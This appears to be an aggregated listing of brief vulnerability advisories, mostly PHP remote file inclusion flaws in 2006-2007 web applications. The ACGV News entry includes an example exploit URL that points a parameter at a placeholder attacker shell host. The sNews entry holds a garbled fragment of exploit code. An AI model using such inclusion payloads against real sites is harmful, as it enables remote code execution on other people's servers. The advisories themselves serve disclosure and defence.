EUVD-2007-0362

PHP remote file inclusion vulnerability in lang/index.php in Oreon 1.2.3 RC4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the file parameter...

Remote file inclusion

PHP remote file inclusion vulnerability in show.php in LunarPoll, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the PollDir parameter...

Fedora Core 6 : php-5.1.6-3.1.fc6 (2006-1169)

This update fixes a security vulnerability in PHP. The Hardened-PHP Project discovered an overflow in the PHP htmlentities and htmlspecialchars routines. If a PHP script used the vulnerable functions to parse UTF-8 data, a remote attacker sending a carefully crafted request could trigger the...

EUVD-2007-0234

PHP remote file inclusion vulnerability in routines/fieldValidation.php in Jshop Server 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the jssShopFileSystem parameter...

CVE-2007-0233

wp-trackback.php in WordPress 2.0.6 and earlier does not properly unset variables when the input data includes a numeric parameter with a value matching an alphanumeric parameter's hash value, which allows remote attackers to execute arbitrary SQL commands via the tbid parameter. NOTE: it could b...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in magic photo storage website allow remote attackers to execute arbitrary PHP code via a URL in the configsitepath parameter to 1 adminpassword.php, 2 addwelcometext.php, 3 adminemail.php, 4 addtemplates.php, 5 adminpaypalemail.php, 6...

sNews 1.5.30 - Remote Reset Admin Pass / Command Execution

126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$s...

Remote file inclusion

PHP remote file inclusion vulnerability in template.php in Geoffrey Golliher Axiom Photo/News Gallery axiompng 0.8.6 allows remote attackers to execute arbitrary PHP code via a URL in the baseAxiomPath parameter...

CVE-2007-0181

PHP remote file inclusion vulnerability in include/commonfunction.php in magic photo storage website allows remote attackers to execute arbitrary PHP code via a URL in the configsitepath parameter...

EUVD-2007-0185

PHP remote file inclusion vulnerability in include/commonfunction.php in magic photo storage website allows remote attackers to execute arbitrary PHP code via a URL in the configsitepath parameter...

CVE-2006-6863

PHP remote file inclusion vulnerability in the Enigma2 plugin Enigma2.php in Enigma WordPress Bridge allows remote attackers to execute arbitrary PHP code via a URL in the boarddir parameter. NOTE: CVE disputes this issue, since $boarddir is set to a fixed value...

CVE-2006-6789

PHP remote file inclusion vulnerability in includes/archive/archivetopic.php in Phpbbxtra 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...

php remote file inclusion vulnerability-vulnerability warning-the black bar safety net

Author:Zizzy Two years ago the article, to estimate for the php contains a vulnerability smattering of 2004-3-7 In this article I will tell php remote file inclusion vulnerability principle, the beginning involved a programmer who must-see. The first question is, what is”remote file inclusion...

EUVD-2006-6698

PHP remote file inclusion vulnerability in footer.inc.php in PowerClan 1.14a and earlier, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the settingsfooter parameter...

CVE-2006-6691

Valdersoft Shopping Cart 3.0 and earlier are affected by multiple PHP remote file inclusion vulnerabilities. The issue arises from remote attackers being able to include files via a URL supplied in the commonIncludePath parameter to admin/include/common.php, include/common.php, or common_include/...

CVE-2006-6635

PHP remote file inclusion vulnerability in includes/functions.php in JumbaCMS 0.0.1 allows remote attackers to execute arbitrary PHP code via a URL in the jcmsrootpath parameter...

CVE-2006-6613

Directory traversal vulnerability in language.php in phpAlbum 0.4.1 Beta 6 and earlier, when magicquotesgpc is disabled and registerglobals is enabled, allows remote attackers to include and execute arbitrary local files or obtain sensitive information via a .. dot dot in the palangincludefile...

ACGV News Article.PHP远程文件包含漏洞

ACGV News是一款基于PHP的新闻管理程序。 ACGV News不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'Article.PHP'脚本对用户提交的'PathNews'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 ACGV News 0.9.1 http://www.acgv.fr.st/ http://www.example.com/ScriptPath/article.php?PathNews=http://SHELLURL.COM?...

EUVD-2006-6549

PHP remote file inclusion vulnerability in includes/profilcpconstants.php in the Profile Control Panel CPanel module for mxBB 0.91c allows remote attackers to execute arbitrary PHP code via a URL in the modulerootpath parameter...

EUVD-2006-6535

PHP remote file inclusion vulnerability in admin/plugins/NPUserSharing.php in BLOG:CMS 4.1.3 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the DIRADMIN parameter...